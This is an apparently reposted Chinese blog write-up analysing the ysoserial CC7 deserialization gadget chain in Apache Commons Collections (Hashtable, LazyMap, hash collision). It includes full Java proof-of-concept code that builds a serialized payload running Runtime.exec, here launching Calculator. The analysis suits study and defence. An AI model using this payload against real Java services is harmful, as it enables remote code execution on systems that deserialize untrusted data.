作者:ICDAT 介绍:这篇文章主要是对ysoserial中CC7反序列化利用链进行分析。
0x00 前言
上一篇文章本来是该分析CC7
利用链的,但是因为遇到了Jdk7u21
利用链的漏洞,就先进行了Jdk7u21
利用链的分析。这一篇就补一下CC7
利用链的分析。
0x01 利用链分析
我们查看一下ysoserial
中的CC7
利用链的链条。
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
只看链条,我们就会发现好多熟悉的内容,我们来对比一下CC6
的利用链条。
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashcode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
对比就会发现,最后都是通过调用LazyMap.get()
方法来实现代码执行的。
但是触发LazyMap.get()
的入口点变了,利用了Hashtable
类,通过AbstractMap.equals()
方法触发。
0x02 AbstractMap.equals
查看AbstractMap
类,其被abstract
修饰,是一个抽象类,实现了Map
接口。
查看AbstractMap.equals
方法。
方法中存在get
方法的调用,分析一下调用的条件。
1、传入的o为Map类对象
2、Map对象的大小等于AbstractMap类entrySet().size()
3、遍历Map对象的key和value,那么Map对象需要设置key和value
4、当Map对象的value为空或不为空时,都会调用Map.get()方法。
这里补充一部分entrySet
的知识。
entrySet 一般用于迭代的,将其中的数据取出
这里,如果我们传入一个LazyMap
对象,可调用LazyMap.get()
方法。
同时这里需要指出的一个点,AbstractMap
是HashMap
的父类。
0x03 AbstractMapDecorator.equals
前面我们要传入LazyMap
类对象到equals
方法中,equals
方法为确定两个对象的引用是否相同的方法,得需要两个对象。这里使用两个LazyMap
类对象进行比较。
LazyMap
类无equals
方法。
AbstractMapDecorator
类是LazyMap
的父类,会调用AbstractMapDecorator.equals()
方法。
查看AbstractMapDecorator
类,也是一个抽象类,实现了Map
接口。
其equals
方法,如果object
不和其本身相同,就会调用equals
方法。
其实看到这里有个疑问,LazyMap1.equals(LazyMap2)->AbstractMapDecorator.equals()
,这个逻辑不难理解。
比较难理解的是,从AbstractMapDecorator.equals()->AbstractMap.equals()
怎么串联的呢?
这里其实是HashMap
做的中间串联。在调用AbstractMapDecorator.equals()
方法时,我们如果传入的map
为HashMap
,因为HashMap
无equals
方法,那么会调用其父类AbstractMap.equals()
方法。
即看似我们传入两个LazyMap
进行比较,但是实际比较的是传入LazyMap
的HashMap
。
我们可以编码尝试进行弹窗。
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
public class lazymapGet {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
//new两个不同的HashMap对象,保证两个HashMap对象不同
Map map1 = new HashMap();
Map map2 = new HashMap();
//new 两个LazyMap对象
Map lazyMap1 = LazyMap.decorate(map1, chain);
Map lazyMap2 = LazyMap.decorate(map2, chain);
//Map对象需要设置value和key值
lazyMap1.put("1","2");
lazyMap2.put("3","4");
lazyMap1.equals(lazyMap2);
}
}
成功弹窗。
这里需要补充一个特别注意的点,我们需要new
两个HashMap
。
如果我们new
一个HashMap
的话,不会弹窗成功。
调试发现,其问题出现在,如果对LazyMap1
和LazyMap2
传入同一个HashMap
,对LazyMap1
进行的添加操作,LazyMap2
也会进行。
就会导致在进行m.get(key)
时,m
是两个HashMap
组成的Map
,而传入的key
是1
或3
,但是在执行LazyMap.get()
方法时,需要满足!super.map.containsKey(key)
才能触发transform
方法。
所以我们需要new
两个HashMap
才能触发弹窗。
最后虽然代码弹窗了,但是无法在反序列化中调用。因为AbstractMapDecorator
为抽象类,无法进行反序列化。
0x04 Hashtable.reconstitutionPut
使用到了Hashtable
类,其继承了Dictionary
类,实现了Map
、Cloneable
和 Serializable
接口。
终于到重点方法了,查看Hashtable.reconstitutionPut
方法。
发现其调用了equals
方法,传入的值为key
,那么根据上面的分析,如果key
为我们构造的LazyMap
对象,就可以执行LazyMap.get
方法。
我们分析一下调用条件。
如果我们设置传入的key值为LazyMap类对象,那么tab中的值也为LazyMap类对象
Entry类对象tab数组中的值,其hash和key.hashCode()相等。
而reconstitutionPut
被readObject
方法调用。
通过查看代码的注释,发现其对Map.Entry[]
类参数,把元素通过读取对象的形式进行还原,通过reconstitutionPut
进行元素的对比。
显然这里是对Hashtable
对象在反序列化过程中的处理,同时,为了触发比较,我们传入的Hashtable
对象,至少应该包括2个key
,而这里的key
,显然应该是我们之前构造的LazyMap
对象。
0x05 控制LazyMap对象的hashCode
同时为了触发reconstitutionPut
方法的equal
方法,我们需要保障传入的LazyMap
的对象的hashCode
值相同。
那么LazyMap
的hashcode
值怎么计算呢?
LazyMap
中不存在hashCode
方法。
其会调用父类AbstractMapDecorator
类的hashCode
方法。
其调用的是map
的hashCode
方法,而我们传入的map
为HashMap
对象,那么最终调用的是HashMap
的hashCode
方法。
发现其值为Objects.hashCode(key) ^ Objects.hashCode(value)
。
那么我们有两种方式来保障两个LazyMap
类对象的hashCode
值相等。
(1)LazyMap
对象的key
和value
相同
我们依据此方式进行编码:
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
public class lazymapGet {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
//new两个不同的HashMap对象
Map map1 = new HashMap();
Map map2 = new HashMap();
//new 两个LazyMap对象,进行比较
Map lazyMap1 = LazyMap.decorate(map1, chain);
Map lazyMap2 = LazyMap.decorate(map2, chain);
//Map对象需要设置value和key值
lazyMap1.put("1","2");
lazyMap2.put("1","2");
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
}
}
Hashtable
进行添加操作时,会使用put
方法。
查看其put
方法,发现其也存在key.equals(key)
方法的调用。
而触发这个逻辑类似之前分析Jdk7u21
的逻辑,当传入的Hashtable
对象的key
值的hash
相同时,才会触发。
按照上述的逻辑,hashtable.put(lazyMap2,1)
处应该就触发弹窗了。但实际上,无法触发弹窗。
通过对其put
方法进行调试发现,它同样卡在了LazyMap.get
后续触发tranform
方法上,因为key
相同,从而导致无法通过判断,触发transform
方法。
(2)Hash
碰撞
同之前分析Jdk7u21
一样,我们可以通过Hash
碰撞的方式进行。
而因为需要保障key
值不同,那么可以设置value
的值相同。
因为分析过Jdk7u21
,我们可以设置key
的hashCode
的值为0
,0
异或任意字符都是其本身,那么就可以实现两个LazyMap
的hashCode
值相同。
比如我们可以设置两个key
值为空和f5a5a608
(空字符的hashCode
为0
),修改代码,成功弹窗。
0x06 LazyMap.remove
根据上面的分析,我们可以尝试编写payload
了。
针对前面提到的hashtable.put()
第二个LazyMap
对象的问题,我们可以先设置一个空的Transformer
的方式,在添加完第二个LazyMap
对象后,通过反射修改iTransformers
的值。
然后这里还有一个问题,在分析CC6
利用链的时候,在put
方法中通过LazyMap.get()
触发transform
方法后,会进行一次map.put(key,value)
操作。
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class HashTableTest {
public static void main(String[] args) throws Exception {
Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(fakeformers);
//new两个不同的HashMap对象
Map map1 = new HashMap();
Map map2 = new HashMap();
//new 两个LazyMap对象,进行比较
Map lazyMap1 = LazyMap.decorate(map1, chain);
Map lazyMap2 = LazyMap.decorate(map2, chain);
//Map对象需要设置value和key值
lazyMap1.put("","1");
lazyMap2.put("f5a5a608","1");
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers);
}
}
我们可以调试看一下,没进行添加执行时,LazyMap2
的size
为1
。
添加后,LazyMap2
的size
变为2
,多了一个key
值为""
。
这里,我们删掉其多添加的key
。
最后编写代码如下:
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class HashTableTest {
public static void main(String[] args) throws Exception {
Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(fakeformers);
//new两个不同的HashMap对象
Map map1 = new HashMap();
Map map2 = new HashMap();
//new 两个LazyMap对象,进行比较
Map lazyMap1 = LazyMap.decorate(map1, chain);
Map lazyMap2 = LazyMap.decorate(map2, chain);
//Map对象需要设置value和key值
lazyMap1.put("","1");
lazyMap2.put("f5a5a608","1");
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
lazyMap2.remove("");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers);
serialize(hashtable);
deserialize();
}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
Object test = is.readObject();
System.out.println(test);
}catch (Exception e){
e.printStackTrace();
}
}
}
运行成功弹窗。
0x07 结语
这次的分析一开始还是感觉有点绕的,但是在逐步分析清楚所属类、方法的关系后,不得不感叹利用逻辑之巧妙。
参考:
https://www.cnblogs.com/nice0e3/p/13910833.html
https://www.anquanke.com/post/id/240040
https://blog.csdn.net/qq_41323073/article/details/112981915
原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CC7 利用链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论